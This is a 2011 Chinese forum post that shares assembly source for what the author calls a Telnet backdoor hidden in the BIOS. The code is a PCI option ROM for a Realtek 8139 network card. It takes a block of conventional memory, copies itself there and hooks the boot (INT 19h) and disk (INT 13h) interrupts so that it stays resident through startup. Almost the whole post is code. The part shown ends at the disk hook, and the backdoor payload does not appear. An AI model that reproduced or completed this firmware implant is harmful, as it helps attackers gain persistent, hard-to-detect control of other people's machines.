|  | 
 
 
 楼主|
发表于 2011-5-31 12:11:49
|
显示全部楼层 
| 586p                                                           ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门. .Model Tiny                                                     ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.
 ;*****************************************************************************************************************************************ROM_IMAGE_SIZE    equ 4                                         ;整个模块大小单位KB,固定大小4KB.
 CSL_KERNEL_DEST    equ 0FFDF0800h                                ;SharedUserData数据结构线性地址.
 CSL_USER_BACKDOOR    equ 07FFE0800h                                ;SharedUserData数据结构线性地址.
 ;*****************************************************************************************************************************************RealCode segment use16
 Code16Start:
 ;*****************************************************************************************************************************************      org     00h                                               ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
 dw      0AA55h                                            ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
 db      ROM_IMAGE_SIZE*2                                  ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
 jmp     MyROMCodeStart                                    ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
 org     06h                                               ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
 ReturnOldROM:                                                   ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
 db      0e9h,0,0                                          ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
 db      'CHKSUM=',0                                       ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****
 ;*****************************************************************************************************************************************      org     18h                                               ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
 dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
 ;*****************************************************************************************************************************************MyROMCodeStart:
 pushf
 pushad
 push    es
 push    ds
 
 sti                                                       ;打开中断,以便接收键盘输入.
 mov     cx,0ffffh                                         ;等待,约为两二秒的按键消息.
 call    WaitPressScrollKey
 .if     !CARRY?                                           ;若按下Scroll Lock键,不运行我们的程序.
 ;*****************************************************************************************************************************************              xor     ax,ax
 mov     es,ax
 mov     eax,es:[19h*4]
 mov     es:[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.
 
 mov     bx,es:[413h]                              ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
 and     bl,NOT 3                                  ;注意:要求分配的物理内存地址,以页作为基地址 .
 sub     bx,4
 mov     es:[413h],bx
 shl     bx,(10-4)                                 ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
 mov     es,bx
 xor     di,di                                     ;es:di -> 分配的实模式高端内存前半部分开始处.
 
 push    cs
 pop     ds
 call    GetCurrentAddr                            ;offset Code16End = offset Code32Start
 GetCurrentAddr:
 pop     si                                        ;si->GetCurrentAddr在内存的地址
 mov     dx,si
 
 add     si,Code16End - GetCurrentAddr             ;ds:si->Code16End保护模式代码段内存的地址.
 cld
 mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝保护模式代码数据到分配内存的前半部分.
 rep     movsd
 
 add     bx,100h
 mov     es,bx
 xor     di,di                                     ;es:0->分配的实模式高端内存后半部分开始处.
 mov     si,dx
 sub     si,GetCurrentAddr - Code16Start           ;ds:si->Code16Start实模式代码的内存的地址.
 mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝  实模式代码数据到分配内存的后半部分.
 rep     movsd
 
 xor     bx,bx
 mov     ds,bx
 add     dx,NewINT19H - GetCurrentAddr             ;dx->NewINT19H内存的地址
 mov     ds:[19h*4],dx
 mov     ds:[(19h*4) + 2],es                       ;设置成我们的INT19H服务代码
 ;*****************************************************************************************************************************************      .endif
 pop     ds
 pop     es
 popad
 popf
 ;jmp     ReturnOldROM                                     ;跳转到原来的ROM代码的跳转处执行
 retf
 ;*****************************************************************************************************************************************WaitPressScrollKey:                                             ;函数入口:CX=350约为10ms, 函数延时: 33(us)
 push    ax
 .repeat
 in      al,60h
 .if     al == 46h                                  ;Scroll Lock键扫描码:46h
 stc
 pop    ax
 ret
 .endif
 in      al,61h
 test    al,010h
 .continue .if  !ZERO?
 .repeat
 in      al,61h
 test    al,10h
 .until  !ZERO?
 dec    cx
 .until cx == 0
 clc
 pop    ax
 ret
 ;*****************************************************************************************************************************************NewINT19H:
 pushf
 ;cli
 push    eax
 push    es
 ;jmp     $                                                ;bochs调试1#.
 xor     ax,ax
 mov     es,ax
 mov     eax,es:[84h*4]
 mov     es:[19h*4],eax                                    ;恢复中断向量19H值.
 mov     eax,es:[13h*4]
 .if     es:[85h*4] != eax
 mov     es:[85h*4],eax                            ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
 mov     word ptr es:[13h*4],NewINT13H             ;设置NewINT13H在内存的地址.
 mov     es:[(13h*4) + 2],cs                       ;设置成我们的INT13H服务代码
 .endif
 
 pop     es
 pop     eax
 popf                                                      ;恢复现场
 int     84h                                               ;调用旧的中断向量19H.
 iret
 
 | 
 |